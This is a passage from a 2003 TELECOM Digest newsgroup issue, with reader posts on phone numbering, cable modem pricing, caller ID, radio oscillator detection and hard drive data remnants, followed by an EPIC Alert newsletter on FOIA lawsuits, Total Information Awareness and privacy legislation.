*NANP* location, maybe with a set of NXX c.o. codes under the 787 (or 939 overlay) area codes for Puerto Rico! But maybe there's something else here, regarding rates... if a *REGULAR* NANP (and *US*, since Puerto Rico is billed as a domestic call with the mainland US) area code is used, maybe the contract company for routing calls between the mainland and 'Gitmo' wouldn't be able to charge the outrageous ""GRAVY-LADEN"" rates they presently do!??? As for possible 'secret' Virginia-based ""NANP"" numbers for 'Gitmo', I wonder how many *OTHER* US Military Bases overseas as well as US embassies and such, or even private corporations with ""virtual corporate networks"" might actually be dialable at domestic rates, if one knew the (secret) POTS/NANP number, since the calling party *would* in effect be dialing a US/NANP type number (NPA-NXX)!? The US Military, State Department, and *other* US government offices located overseas still have ""Autovon/DSN"" or FTS-type numbers, don't they? I know that the *numbering plan* for Autovon/DSN is still a 'private network' type of numbering plan, but I think that FTS abandoned their private/corporate numbering in favor of using REAL POTS NANP numbering, a few years back. And even though Autovon/DSN is still *itself* not part of the ""public"" NANP POTS numbering plan, most locations on the Autovon/ DSN network also have 'parallel' NANP/POTS numbers as well. So, if one knew the POTS/NANP number, one could be able to dial at domestic rates. I wonder if one could still call to a PBX/switchboard/attendant type operator at some mainland location and be 'transfered' to the US government facility overseas as well. mjc ------------------------------ From: hudsonl@skypoint.com (Hudson Leighton) Subject: AT&T Broadband Raises Prices For Cablemodem Service Date: Thu, 16 Jan 2003 21:41:23 -0600 Organization: MRRP Steve Alexander Star Tribune In a Catch-22 price increase plan, Internet-only customers of AT&T Broadband in St. Paul will be charged an additional $11 a month unless they agree to subscribe to at least the basic tier of cableTV service -- for $11 a month. Today, an AT&T Broadband customer with a cable modem pays $47 a month for high-speed Internet-only service; those leasing a modem pay $50 a month. Beginning next month, those prices will increase about 22 percent to $58 and $61 a month, respectively, for Internet-only customers. http://www.startribune.com/stories/1557/3594614.html http://www.skypoint.com/~hudsonl [TELECOM Digest Editor's Note: So $58 minus $47 or $61 minus $50 is still an $11 difference, or what they charge for the 'basic tier'. I would say if they want to watch television, then add the basic tier, essentially for free at the new price, however I cannot see what the advantage would be if they are not into television. For that matter I really have problems with cable modem service also. I cannot see where/how it is any faster than DSL, and in fact I've heard rumors that cable modem users with 'network neighborhood' enabled on their computers get a lot of spies reading their files, etc. True? PAT] ------------------------------ From: Jack Hamilton Subject: Re: AT&T Broadband Users See 3rd E-Mail Shift Date: Thu, 16 Jan 2003 23:34:22 -0800 Organization: Copyright (c) 2003 by Jack Hamilton. Reproduction without attribution and archiving without permission are not allowed. Reply-To: jfh@acm.org Monty Solomon wrote: > By Peter J. Howe, Globe Staff, 1/16/2003 > In a move likely to anger thousands of its customers, AT&T Broadband > confirmed yesterday that its recent acquisition by Comcast Corp. will > force more than 200,000 New England cable Internet modem subscribers > to get their third e-mail address in barely a year. I have limited sympathy for the subscribers. ATTBI is certainly doing a bad thing, but there's an old saying that applies here: ""Fool me once, shame on you; fool me twice, shame on me."" There are many ways to get a relatively permanent email address. Here are a few: 1) You might belong to an organization which provides email forwarding addresses to its members. The email address I use to post to Usenet is provided by the Association for Computing Machinery; mail sent to jfh@acm.org is automatically rerouted to a real mailbox elsewhere. If that real mailbox goes away because the provider is bought up, no one but me has to know - I just change the forwarding address, and jfh@acm.org continues to work. (I've been using this address on Usenet since 1995, and sometimes I'm amazed by how much spam I receive. But I still don't use a mangled address. I use Spamnix instead.) 2) You might have attended a college or university which provides either forwarding or real mailboxes to alumni. Sometimes you have to be member of the alumni association, but sometimes you don't. 3) You can register a domain name and set up a forwarding account. One outfit that will do this is ; they charge $15/year for the domain name registration, and the forwarding is free. 4) You can get an email address at yahoo or hotmail. These work fine, but you may be taken less seriously with that kind of address. If you want a lot of mail storage or other goodies, you might have to pay, but the price is small compared to the price of a broadband connection. 5) Last (and least), you can get a userid at AOL, which is unlikely to change its name. ------------------------------ Subject: Re: New Billboards Sample Radios as Cars Go By, Then Adjust Organization: Excelsior Computer Services From: joel@exc.com (Dr. Joel M. Hoffman) Date: Fri, 17 Jan 2003 03:06:58 GMT >> Just to be clear, is the claim here that the sign can detect what >> radio station I'm listening to? It cannot. > Don't be too sure. Unless they are well shielded radio receivers emit > a little bit of local oscillator signal, which can be picked up and > used to determine the frequency you are listening to. How strong is this ""oscillator signal""? Strong enough to be detected outside the car? To be detected from the side of the ride? To be isolated among a hundred cars passing by at 60 miles an hour? -Joel ------------------------------ From: PaulCoxwell@aol.com Date: Fri, 17 Jan 2003 08:44:09 EST Subject: Re: New Billboards Sample Radios as Cars Go By, Then Adjust > At least, it cannot do so electrically or electronically. I suppose > some method could be set up to see how drivers behave based on when > advertisements occur, but cars don't emit RF energy based on what > radio station is tuned. Actually, it is possible to detect the local oscillator of the receiver. Depending upon how well the radio is sheilded, and on how much of the L.O. signal leaks back through to the antenna, the oscillator can often be detected a good few yards away. > TELECOM Digest Editor's Note: Not only that, John, but years ago when > tube-style radios were common, radio station pirates could make actual > broadcasting stations by using that IF (intermediate frequency) which > comes around 440 KC I think. They would get in the back of the radio, > clip the wire with the IF, attach it to an outside antenna, tune a few An I.F. of 455kHz for normal AM broadcast has been pretty much standard or many decades now, at least in the U.S.A. In most radios, the L.O. runs above the tuned frequency, so it's a simple matter of sampling the L.O. leakage and deducting 455kHz to get the frequency being listened to. For FM broadcasting, the I.F. is almost always 10.7MHz these days. Paul Coxwell, Norfolk, U.K. ------------------------------ Date: Fri, 17 Jan 2003 09:38:23 -0500 From: Monty Solomon Subject: High Debt Prompts SONICblue to Seek Company Sale NEW YORK, Jan 17 (Reuters) - SONICblue Inc. (NASDAQ:SBLU), the maker of ReplayTV digital video recorders and Rio digital music players, said on Friday its high debt load has prompted the board to consider, among other things, a sale of the company. - http://finance.lycos.com/home/news/story.asp?story=30971389 ------------------------------ Date: Thu, 16 Jan 2003 21:56:03 -0500 From: Monty Solomon Subject: 'Sanitized' Hard Drives Prove a Trove of Personal Info By Justin Pope, Associated Press, 1/15/2003 15:45 CAMBRIDGE, Mass. (AP) So, you think you've cleaned all your personal files from that old computer hard drive you're selling? A pair of MIT graduate students suggest you think again. Over two years, Simson Garfinkel and Abhi Shelat assembled a collection of 158 used hard drives, shelling out between $5 and $30 for each at secondhand computer stores and on eBay. Of the 129 drives that functioned, 69 still had recoverable files on them and 49 contained ''significant personal information'' medical correspondence, love letters, pornography and 5,000 credit card numbers. One even had a year's worth of transactions with account numbers from an ATM in Illinois. http://www.boston.com/dailynews/015/region/_Sanitized_hard_drives_prove_a:.shtml [TELECOM Digest Editor's Note: I do not understand why, when people prepare to sell or otherwise dump an old computer, they do not use a 'laundry machine' program first, to clean the entire hard drive, then use added 'bleach' to rewrite garbage on the hard drive at least five or six times as per NSA recommendations, *then* format the entire drive. PAT] ------------------------------ Subject: Re: Telephone Scam Date: Fri, 17 Jan 2003 01:11:32 EST From: msb@vex.net (Mark Brader) Raymond Mereniuk quotes Leneen Robb of the paper ""Coquitlam Now"", quoting the Port Moody, BC, police: > Const. Brian Soles said the scam begins when residents receive > a message on their answering machine or pager asking them to > call a number ... > ""The call will be billed to you at $2,425 per minute."" Despite the police evidently believing this (and reconfirming the dollar figure to the reporter), it's not so. High dollar amounts, maybe, but nothing like *that* high -- as Ms. Robb might confirm by asking the police to cite an actual example of someone, anywhere, who had been billed for a call at such a per-minute rate. Linc Madison explained it right here in comp.dcom.telecom in 2001<*>, while Pat was off duty: the original version of the story must have said $25 -- already an unlikely large amount -- which was turned into ""=2425"" by transmission in MIME quoted-printable encoding, but read by someone in an environment where that encoding wasn't recognized, and so *seen* as ""=2425"" and ""helpfully corrected"" by the human to ""$2,425"". So, as Linc said at the time, ""If you ever see a spam claiming $242,425/minute, just remember you saw it here first."" <*>Message-ID <230120010912105551%lincmad001@telecom-digest.zzn.com>. Mark Brader, Toronto ""Truth speak from any chair."" msb@vex.net -- Charlie Chan at the Wax Museum My text in this article is in the public domain. [TELECOM Diges Editor's Note: Not only was there Linc's article as mentioned above, we have covered this topic several times in the past. Newspaper reporters rarely read or pay attention to things on the net. We are not considered 'established' media by their standards. PAT] ------------------------------ Date: Fri, 17 Jan 2003 11:59:05 -0700 From: Joey Lindstrom Subject: Spam Scam Busted Reply-To: joey@garynuman.info WASHINGTON (Reuters) -- Several unscrupulous ""spammers"" have been shut down after bombarding Internet users with e-mail offers for allegedly bogus international drivers' licenses, the U.S. Federal Trade Commission said Thursday. The move should put the brakes on a common scam that has evolved into one of the most prevalent forms of unwanted junk e-mail over the past several years. The FTC charged six online marketers with selling international drivers' licenses that actually are not recognized by any government, targeting immigrants and those who have had their real licenses revoked. http://www.cnn.com/2003/TECH/internet/01/17/spam.scam.reut/index.html ------------------------------ From: Mike Hartley Subject: Re: AT&T Wireless Internet at $4000 a Month!! Look out!! Date: Fri, 17 Jan 2003 07:41:48 -0000 > I signed a six month contract for unlimited internet access for > $50/mo. CAD Not a bad deal and for the most part the system worked > pretty well. > Things went along fine until the contract ended, when without > informing me they switched the billing to 5MB for $30. Classic bait > and switch. So I was happily surfing away as the $$$ piled up. And > boy do they pile up fast. > from what I recall, the GPRS system was usually only capable of > 3KB/sec downloads, giving 180 KB/minute- thats what the counter > showed and thats how I was billed. Well, I get something more like 20-30kb/s from my GPRS connection here in the UK. However GPRS connection speed does depend on quality of connection -- GPRS drops to a higher overhead coding scheme in low signal/high interference, so YMMV. Luckily I don't pay for my mobile phone bill, so I don't get crippled with high data bills, but I certanly appreciate the poster's anguish at high data cost. I don't think many mobile operatrs are really setting tarriffs up for web surfing -- and most web pages aren't really designed to optimise mobile data bills either ;+) The problem is that GPRS data is a very new service, and 'Bellhead' marketing people in mobile nets have yet to really get their head round high levels of dsata usage. To be fair, you do have to have a very well dimensioned and optimised access network to be able to support high levels of web surfing at reasonable data throughput (trust me, I do this for a living), so high pricing is arguably there to try to control early adopter demand. Cheers, Mike ------------------------------ From: John Higdon Subject: Re: Caller ID Organization: Green Hills and Cows Date: Thu, 16 Jan 2003 22:53:29 -0800 In article , Forrest Nelson wrote: > Ten zeros is considered a 'legitimate' phone number for caller ID > purposes according to SW Bell. The chairman's office there told me > that after one of my calls to the Kansas commission prompted the > spokeslady for the chairman's office to call me. As someone with Privacy Manager, I have to say that I have found it by and large quite effective. I get calls with all zeros and with 800 numbers showing in the display. These calls are ignored or sent straight to voice mail (where no message is ever left). Other than those very occasional calls (less than one a week), my phone doesn't ring except with desired traffic. John Higdon | Email Address Valid | SF: +1 415 428-COWS +1 408 264 4115 | Anytown, USA | FAX: +1 408 264 4407 [TELECOM Digest Editor's Note: Well I have found it reasonably effective also. I have since moved one of my caller-ID boxes into the computer room area where I spend much time so I can glance over at it and see what numbers/names, if any, are presented when the phone rings. In fairness to SWB Telco, they are *good* at picking out the calls where the ID was deliberatly withheld, i.e. *67 type calls. Its the 'default' style calls, where the caller does nothing deliberate (except possibly working for a telemarketer) that SWB handles poorly. My *big* complaint with them was actually with their former parent, AT&T, who was/is still using all zeros and things like 'name withheld' as ID in order to circumvent the 'system'. SWB does claim all zeros (or all of anything, ones or nines, etc) is considered a valid number for ID purposes, and they refuse to manually edit whatever database is dipped to prevent those annoyances. PAT] ------------------------------ From: vances@motivity.ca (Vance Shipley) Subject: Re: Can I Detect Call Fowarding? Date: 17 Jan 2003 08:58:17 -0800 Organization: http://groups.google.com/ wprice@adneco.com (Wayne Price) wrote: > Is it possible to detect if the phone number I am calling is forwarded > to another number? Or is it possible to block call forwarding on > numbers that I call? Yes it is. If you have an ISDN line (or SS7) there are indicators for this. In a well engineered network, which are harder and harder to find these days mind you, the display on your phone should show you when forwarding takes place by indicating the new number and the reason for forwarding. There is also an indication for the connected number should that differ from the dialed number once answer has taken place. See Q.952 (Call Diversion) and Q.951 (Connected Line Presentation). Vance Shipley Motivity Telecom Inc. vances@motivity.ca ------------------------------ From: vances@motivity.ca (Vance Shipley) Subject: Re: Call Blocking Box For All Numbers From a Given Country? Date: 17 Jan 2003 09:23:08 -0800 Organization: http://groups.google.com/ If you have ISDN (or SS7) you will ahve an indication of whether the call is international or not as well as what numbering plan is in use. This makes it very definitive indeed. There is no reason why international CLID shouldn't work properly. It is true that it probably doesn't work properly in most cases is a matter of improper network engineering and CPE device design. The first time I received an international CLID here in Bell Canada land my Vista 350 telephone (by Nortel) truncated the number and formated it as 417-xxx-xxxx. Vance Shipley Motivity Telecom Inc. vances@motivity.ca Linc Madison wrote: > Even if the caller ID is accurate, it would still be difficult to use > for blocking a given country, because in the US we often get the > caller ID with no indication that it's an international number. I got > a call from a Swiss cellphone that showed up as 417-xxx-xxxx-x. If the > digit count weren't off, I'd have no way to know it wasn't a call from > Missouri. ------------------------------ Date: Fri, 17 Jan 2003 12:15:04 -0500 From: Vance Shipley Subject: Why Are my Posts Not Showing Up? Organization: Motivity Telecom Inc. Pat, I posted back on Monday January 13th and haven't seen my message show up. Is there a reason for this? I used Google Groups to do so, something I haven't tried before. Is this a source of a problem? -Vance From: posting-system@google.com Date: Mon, 13 Jan 2003 11:31:20 -0800 Reply-To: posting-system@google.com To: vances@motivity.ca Subject: Bell Mobility voicemail doesn't support caller's number Errors-To: posting-system@google.com From: vances@motivity.ca (Vance Shipley) Newsgroups: comp.dcom.telecom Subject: Bell Mobility voicemail doesn't support caller's number NNTP-Posting-Host: 65.93.133.220 Message-ID: <3d64fb2b.0301131131.bf4dac3@posting.google.com> I just spent 45 minutes on the phone with Bell Mobility to finally get a definitive answer as to why my voicemail envelope information (pressing 5 while listening to a message) never gives me the number of the caller. Instead it says ""New message from an outside caller"". At first they insisted that it did work, and that only in cases where the caller blocked the number would it not. Then we tested it together. It worked the same on my cell number as it did on theirs. Then the story became that two years ago it did work but that they stopped offering call return. At that point the envelope information stopped appearing. This is of course very lame. I have a reasonable expectation that my voicemail on my cell number will operate the same as the voicemail on my land line. Especially given that they are both provided by Bell Canada (Bell Mobility is wholely integrated with Bell Canada, they have the same web site). This is yet another example of how the cellular companies offer an inferior service to that of the local exchange operators. A shining example of this is Caller's Name Display which is unavailable from any cellular operator yet so common on landlines that my elderly mother has it. Vance [TELECOM Digest Editor's Note: I will address only the first part of your message (about messages appearing or not) and will leave your main and pertinent message to the group to answer. Regards what appears here, *everything I recieve here appears here.* If you will produce for me an autoreply I issued to you on January 13 for the above message, I will attempt to find out what I did with it. That goes for other readers as well. If this is becoming a regular problem for many people, then *save those autoreplies for a few days following the sending of your messages, and forward them to me with a short note, 'what happened to this one?'. Otherwise I cannot be of help, sorry. PAT] ------------------------------ From: SELLCOM Tech Support Subject: Tail Date: Fri, 17 Jan 2003 13:05:24 -0500 Organization: www.sellcom.com Reply-To: support@sellcom.com This may be a stretch regarding topic, but since I plan to view a SMTP log in real time to spot spam it kind of relates to current discussions regarding spam. I just wanted to ask people who know what they are talking about. What I am trying to find is a utility like the linux ""tail"" which allows you to watch a log/text file as it changes in real time (sort of). But I need a version of that for Win2K Server. While I'm at it, let me also share with you a little trick. If you have a linux box you can telnet in from remote run tail (with some command switches that I forget) on the log and then set your telnet to save the log to disk. Then even if your linux box were to get hacked and the logs deleted on the way out, you would have a log of whodunnit on your remote machine. I used to log my linux log to my OS/2 machine. Now I just want to have my smtp log on my desktop in real time. Steve at SELLCOM http://www.sellcom.com Discount multihandset cordless phones by Siemens, Vtech 5.8Ghz EnGenius NEW EP436 4line (the longest range), Panasonic, Twinhead notebooks, WatchGuard firewall, Okidata, Polycom! If you sit at a desk www.ergochair.biz you owe it to yourself. ------------------------------ Subject: Student Rush From: Frank Beider Date: Fri, 17 Jan 2003 13:27:49 -0600 I used to work for a LEC in a college town. Every August thought September we used to experience something called the ""student rush"". There was this rush of orders during this August - September for telephone service from students. We put in a lot of overtime to meet this rush. Here is my question. Do the LECs in a college town still experience the student rush during August - September? The reason I ask is now with the proliferation of wireless phones thanks to generous parents is there still a student rush? I would think students are using wireless in place of the landline. Bad of the LEC good for wireless. What have the LECs been experiencing? Would appreciate any info. Thanks. ------------------------------ From: dritenour@ecomm-sys.com (Drew Ritenour) Subject: Re: Intertel vs. Harris 20-20 Date: 17 Jan 2003 12:05:08 -0800 Organization: http://groups.google.com/ dave.turnbull@omsg.co.uk (Dave Turnbull) wrote in message news:: > We are considering replacing a Harris (Teltronics) 20-20 with an > Inter-tel Axxess solution to run a multi-site skills based call centre > with PBX functionality for each site as well as intra-site voip calls > across existing leased lines. Does anybody have experience of this, > because the Inter-tel solution (price) seems almost too good to be > true based upon our experience with the 20-20. I am told that > performance and capabilities of the Axxess is not on a par with the > 20-20 - any comments? > Thanks, > Dave Dave: I am an sales engineer for one of the top five Inter-tel dealers in the country. We currently have five offices networked via IP over leased lines. We are one of the major beta test sites for Inter-tel. I don't know the Harris system at all. But take into consideration market share and profitability and no one else can match Inter-tel. Let me tell you when I design call center applications I add features that will push my comp. to go to their Definity Call Center Application and I am 30% less than what they are while providing 90% of their functionality. Go for the Inter-tel. If it isn't a direct office....shop for the best. ------------------------------ From: Andrew Bell Subject: Please Get Back to Telecom Date: Fri, 17 Jan 2003 11:35:29 -0500 Pat, can we PLEASE get the digest back onto Telecom topics? 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See the bottom of this issue for subscription and archive details and the name of our lawyer; other stuff of interest. ---------------------------------------------------------------------- Date: Thu, 16 Jan 2003 19:51:16 -0500 From: Monty Solomon Subject: EPIC Alert 10.01 http://www.epic.org/alert/EPIC_Alert_10.01.html ======================================================================= E P I C A l e r t ======================================================================= Volume 10.01 January 16, 2003 ----------------------------------------------------------------------- Published by the Electronic Privacy Information Center (EPIC) Washington, D.C. http://www.epic.org/alert/EPIC_Alert_10.01.html ======================================================================= Table of Contents ======================================================================= [1] EPIC Wins FOIA Lawsuit Against Pentagon on Poindexter Records [2] Sen. Feingold Introduces ""Total Info"" Moratorium Bill [3] INS Seeks Information on U.S. Citizens Who Travel [4] Court Grants EPIC Right to Discovery in Homeland Security Case [5] Georgia Supreme Court Voids Fornication Law on Privacy Grounds [6] Privacy International Urges UK Citizens to Oppose National ID Card [7] EPIC Bill-Track: New Bills in Congress [8] Upcoming Conferences and Events ======================================================================= [1] EPIC Wins FOIA Lawsuit Against Pentagon on Poindexter Records ======================================================================= U.S. District Judge John Bates today issued a decision that rejects the Defense Department's attempt to impose financial obstacles to EPIC's requests under the Freedom of Information Act (FOIA). The court ruled that EPIC is entitled to ""preferred fee status"" under the FOIA and ordered the Pentagon to ""expeditiously"" process EPIC's almost year-old request for information concerning Admiral John Poindexter and the Information Awareness Office (see item below concerning the controversial Total Information Awareness program). Under 1986 legislative amendments to FOIA enacted in an effort to ""keep fees from becoming an unnecessary barrier to disclosure,"" entities granted ""news media status"" are not required to pay search and duplication fees related to their FOIA requests. EPIC has routinely been granted such status since its inception. In response to an EPIC FOIA request submitted in February 2002 seeking documents from Poindexter's office, DoD refused to process the request unless EPIC agreed to incur substantial fees. The agency claimed that EPIC, as a non-profit public interest organization, did not fall within DoD's definition of ""representative of the news media."" In granting EPIC news media status, Judge Bates noted EPIC's publication activities and stated: EPIC gleans the information it publishes in its books from a wide variety of sources, including FOIA requests, state and federal courts, government agencies, universities, international groups, law reviews, interest groups, and even other news sources. EPIC researches issues on privacy and civil liberties, reports on this information, analyzes relevant data, evaluates the newsworthiness of material and puts the facts and issues into context, publishing and distributing this ""news"" through the sale of its books to the public. All these activities are hallmarks of publishing, news, and journalism. The decision removes potential obstacles for requests submitted not only by EPIC, but also by other public interest groups that seek to inform the public about significant (and secretive) government activities. The immediate impact will be to expedite the release of documents concerning data-mining initiatives within the Pentagon. The court's opinion in EPIC v. DoD is available at: http://www.epic.org/open_gov/foia/fees/EPICvDOD_decision.pdf ======================================================================= [2] Sen. Feingold Introduces ""Total Info"" Moratorium Bill ======================================================================= Sen. Russell Feingold (D-WI) has introduced legislation to place a moratorium on the development of the controversial Total Information Awareness (TIA) project. TIA is a system being developed by Admiral John Poindexter of the Defense Advance Research Projects Agency (DARPA) that aims to sift though troves of personal information in order to detect potential terrorist activity. Feingold's legislation would stop development of this domestic surveillance system until Congress has had an opportunity to review its implications. Sen. Ron Wyden (D-OR) has also introduced legislation to halt the TIA project. His legislation would be attached to the pending Defense Department appropriations bill, but it currently contains a provision that could allow President Bush to override the moratorium. Feingold's legislation follows a groundswell of Congressional criticism of TIA. The growing list of Senators raising questions about TIA includes Susan Collins (R-ME), Charles Grassley (R-IA), Tom Harkin (D-IA), Charles Schumer (D-NY), Maria Cantwell (D-WA), and Patrick Leahy (D-VT). Sen. Collins, the incoming Chairwoman of the Governmental Affairs Committee, recently said that the Pentagon project ""raises extraordinary concerns about individual privacy."" Sen. Grassley has called for the Inspector General of the Department of Defense to review the TIA project. Sen. Harkin has requested that Poindexter be summoned before Defense Appropriations Subcommittee to testify on TIA. Sen. Schumer has called upon Defense Secretary Donald Rumsfeld to replace Poindexter, saying, ""If we need a big brother, John Poindexter is the last guy on the list that I would choose."" Senators Leahy, Cantwell and Feingold have sent a detailed letter to Attorney General Ashcroft requesting more information about the use of data-mining, and the extent to which the Department of Justice is collaborating with DARPA on TIA. EPIC and a coalition of groups that includes the American Civil Liberties Union, American Conservative Union, Eagle Forum, and the Electronic Frontier Foundation have joined the call for a moratorium on TIA. In a letter to the leaders of several key congressional committees, the coalition argued that Congress should prohibit the development of TIA and other data mining initiatives. Coalition Letter Calling For a Halt to TIA: http://www.epic.org/privacy/profiling/TIA_coalition_letter.pdf Sen. Feingold's TIA Moratorium Press Release: http://www.epic.org/redirect/feingold.html Sen. Wyden's Legislation for a Moratorium on TIA: http://wyden.senate.gov/leg_issues/bills/tia_amendment.pdf Sen. Grassley's Letter Requesting an Inspector General Investigation of TIA: http://www.fas.org/sgp/news/2002/11/gr112202.html Sen. Harkin's Letter Requesting a TIA Hearing: http://www.senate.gov/~harkin/news.cfm?id=189711 Letter from Senators Leahy, Cantwell and Feingold to Attorney General Ashcroft on Data Mining and TIA: http://leahy.senate.gov/press/200301/011003.html EPIC Total Information Awareness page: http://www.epic.org/privacy/profiling/tia/ ======================================================================= [3] INS Seeks Information on U.S. Citizens Who Travel ======================================================================= The Immigration and Naturalization Service (INS) has proposed a new rule that would require all individuals leaving or entering the United States -- including U.S. citizens -- to provide certain personal information to the government in advance of an aircraft or vessel's arrival in or departure from the United States. The required data would include complete name; date of birth; citizenship; sex; passport number and country of issuance; country of residence; United States visa number, date, and place of visa issuance, where applicable; alien registration number, where applicable; and United States address while in the United States. Such identification requirements currently apply only to non-resident aliens. The new rule proposes to implement section 402, titled Passenger Manifests, of the Enhanced Border Security and Visa Entry Reform Act of 2002 (Pub. L. 107-173), which requires that commercial carriers transporting passengers to or from the United States deliver arrival and departure manifest information electronically to the INS, beginning no later than January 1, 2003. The new rule proposes to require manifest data on certain passengers and voyages previously exempt from this requirement, including U.S. citizens, lawful permanent resident aliens of the United States, immigrants to the United States, and certain in-transit passengers. The INS believes that the new rule is necessary to provide it with advance notification of information necessary for the identification of passengers, crewmembers and any other occupant transported. Furthermore, INS believes that this information will assist in the efficient inspection of passengers and crewmembers, and is necessary for the effective enforcement of the immigration laws. Public comments on the proposed rule may be submitted until February 3 in one of the following ways: * Written comments should be submitted (with reference INS No. 2182-01) to: Director, Regulations and Forms Services Division Immigration and Naturalization Service 425 I Street NW., Room 4034 Washington, DC 20536 * Electronic comments should be submitted to the INS at insregs@usdoj.gov with INS No. 2182-01 in the subject heading. The proposed INS rule is available at: http://edocket.access.gpo.gov/2003/02-33145.htm Additional information on the Enhanced Border Security and Visa Entry Reform Act of 2002 is available at: http://www.fas.org/irp/congress/2002_cr/h031202.html ======================================================================= [4] Court Grants EPIC Right to Discovery in Homeland Security Case ======================================================================= U.S. District Judge Colleen Kollar-Kotelly issued a decision on December 26 permitting EPIC to pursue discovery concerning the ""nature of the authority"" delegated to the Office of Homeland Security (OHS) and its Director, Tom Ridge. The ruling came in a Freedom of Information Act lawsuit filed by EPIC after OHS took the position that it is not subject to the open government law. The Department of Justice sought dismissal of EPIC's FOIA lawsuit and argued that OHS is not an ""agency"" and therefore is not subject to the FOIA's disclosure requirements. The government asserted that the OHS ""functions solely to advise and assist the President and, does not exercise substantial independent authority."" It likened the OHS to the National Security Council, which the D.C. Circuit Court in 1996 held was exempt from the FOIA. EPIC, which will now seek information concerning the structure and activities of OHS, firmly believes that, under well-established principles of open government, an entity like the OHS -- especially with its important mandate -- should be open to public oversight. The FOIA, which, among other agencies, covers the CIA, FBI, and NSA, makes adequate provision for protecting sensitive information from disclosure. The creation of the new Department of Homeland Security makes the status of OHS even more significant, as the Office will continue to function within the White House and is likely to set policy for the Department. EPIC's initial request sought the disclosure of documents relating to OHS Director Tom Ridge's efforts to create a ""trusted-traveler"" card and his plans to standardize state driver's licenses so as to create a de facto national identification system. The decision in EPIC v. OHS is available at: http://www.epic.org/open_gov/homeland/ohs_decision.pdf For more information, see EPIC's Homeland Security Page: http://www.epic.org/open_gov/homeland/ ======================================================================= [5] Georgia Supreme Court Voids Fornication Law on Privacy Grounds ======================================================================= The Supreme Court of Georgia has invalidated a state anti-fornication law, holding that ""the government may not reach into the bedroom of a private residence and criminalize the private, noncommercial, consensual sexual acts of two persons legally capable of consenting to those acts."" The 170-year-old Georgia law provides that sex between unmarried people constitutes a misdemeanor and could be fined at least $1000. The Court recognized that the ""right to privacy has a value so essential to individual liberty in our society that its infringement merits careful scrutiny by the courts."" The Court also rejected the prosecution's argument that an individual has no right to privacy when they are a guest in another's home: "" We reject the broad assertion that people abandon their constitutional guarantee to privacy when they enter as guests into the private home of another. An invitation to enter another person's private home does not include an implicit condition that the guest surrender his constitutional right to privacy."" The decision extends a 1998 ruling where the same court invalidated a state anti-sodomy law that was previously upheld by the U.S. Supreme Court. The U.S. Supreme Court will revisit the issue of anti-sodomy laws this term in Lawrence and Garner v. Texas. That case will test sodomy laws in 13 states. In re: J. M., a child, Case No. S02A1432, Supreme Court of Georgia, January 13, 2003: http://www2.state.ga.us/Courts/Supreme/pdf/s02a1432.pdf Lawrence and Garner v. Texas, Lambda Case Review: http://www.lambdalegal.org/cgi-bin/iowa/cases/record?record=93 EPIC Gender and Privacy Page: http://www.epic.org/privacy/gender/ ======================================================================= [6] Privacy International Urges UK Citizens to Oppose National ID Card ======================================================================= Looking for a way to voice your opposition to the United Kingdom government's ""Entitlement Card"" National ID proposal? Here's your chance. Privacy International and STAND, a UK group working to inform the public about privacy, censorship, and other issues, have set up a campaign allowing members of the UK public to leave phone or fax messages for their Member of Parliament (MP) to let them know just what the public thinks of their National ID proposal. The UK government, which is currently holding a ""silent consultation"" on the National ID card -- and still claiming that there is majority support for ID cards -- has confirmed that these phone/fax messages will be regarded as legitimate responses in the consultation. To voice your opposition to UK National ID, call 0845 330 7246 in the UK, or see below for a link to STAND's online fax service. For more information, see Privacy International's UK ID Card page: http://www.privacyinternational.org/issues/idcard/uk/ Fax your MP using STAND's online service: http://www.stand.org.uk/ ======================================================================= [7] EPIC Bill-Track: New Bills in Congress ======================================================================= *House* H.R.48: To develop and deploy technologies to defeat Internet jamming and censorship. Sponsor: Rep Cox, Christopher (R-CA). Committees: House International Relations. Latest Major Action: 1/7/2003 Referred to House committee. Status: Referred to the House Committee on International Relations. H.R.69: To require the Federal Trade Commission to prescribe regulations to protect the privacy of personal information collected from and about individuals who are not covered by the Children's Online Privacy Protection Act of 1998 on the Internet, to provide greater individual control over the collection and use of that information, and for other purposes. Sponsor: Rep Frelinghuysen, Rodney P. (R-NJ). Committees: House Energy and Commerce. Latest Major Action: 1/7/2003 Referred to House committee. Status: Referred to the House Committee on Energy and Commerce. H.R.70: To regulate the use by interactive computer services of Social Security account numbers and related personally identifiable information. Sponsor: Rep Frelinghuysen, Rodney P. (R-NJ). Committees: House Energy and Commerce. Latest Major Action: 1/7/2003 Referred to House committee. Status: Referred to the House Committee on Energy and Commerce. H.R.71: To require customer consent to the provision of wireless call location information. Sponsor: Rep Frelinghuysen, Rodney P. (R-NJ). Committees: House Energy and Commerce. Latest Major Action: 1/7/2003 Referred to House committee. Status: Referred to the House Committee on Energy and Commerce. H.R.107: To amend the Federal Trade Commission Act to provide that the advertising or sale of a mislabeled copy-protected music disc is an unfair method of competition and an unfair and deceptive act or practice, and for other purposes. Sponsor: Rep Boucher, Rick (D-VA). Committees: House Energy and Commerce; House Judiciary. Latest Major Action: 1/7/2003 Referred to House committee. Status: Referred to the Committee on Energy and Commerce, and in addition to the Committee on the Judiciary, for a period to be subsequently determined by the Speaker, in each case for consideration of such provisions as fall within the jurisdiction of the committee concerned. H.R.115: To amend title 49, United States Code, to improve airport security by using biometric security badges, and for other purposes. Sponsor: Rep Hefley, Joel (R-CO). Committees: House Transportation and Infrastructure. Latest Major Action: 1/7/2003 Referred to House committee. Status: Referred to the House Committee on Transportation and Infrastructure. H.R.122: To amend section 227 of the Communications Act of 1934 to prohibit the use of the text, graphic, or image messaging systems of wireless telephone systems to transmit unsolicited commercial messages. Sponsor: Rep Holt, Rush D. (D-NJ). Committees: House Energy and Commerce. Latest Major Action: 1/7/2003 Referred to House committee. Status: Referred to the House Committee on Energy and Commerce. *Senate* S.6 Comprehensive Homeland Security Act of 2003. A bill to enhance homeland security and for other purposes. Sponsor: Sen Daschle, Thomas A. (D-SD). Committees: Senate Judiciary. Latest Major Action: 1/7/2003 Referred to Senate committee. Status: Read twice and referred to the Committee on the Judiciary. S.16: A bill to protect the civil rights of all Americans, and for other purposes. Sponsor: Sen Daschle, Thomas A. (D-SD). Committees: Senate Finance. Latest Major Action: 1/7/2003 Referred to Senate committee. Status: Read twice and referred to the Committee on Finance. S.22: A bill to enhance domestic security, and for other purposes. Sponsor: Sen Daschle, Thomas A. (D-SD). Committees: Senate Judiciary. Latest Major Action: 1/7/2003 Referred to Senate committee. Status: Read twice and referred to the Committee on the Judiciary. S.41: A bill to strike certain provisions of the Homeland Security Act of 2002 (Public Law 107-296), and for other purposes. Sponsor: 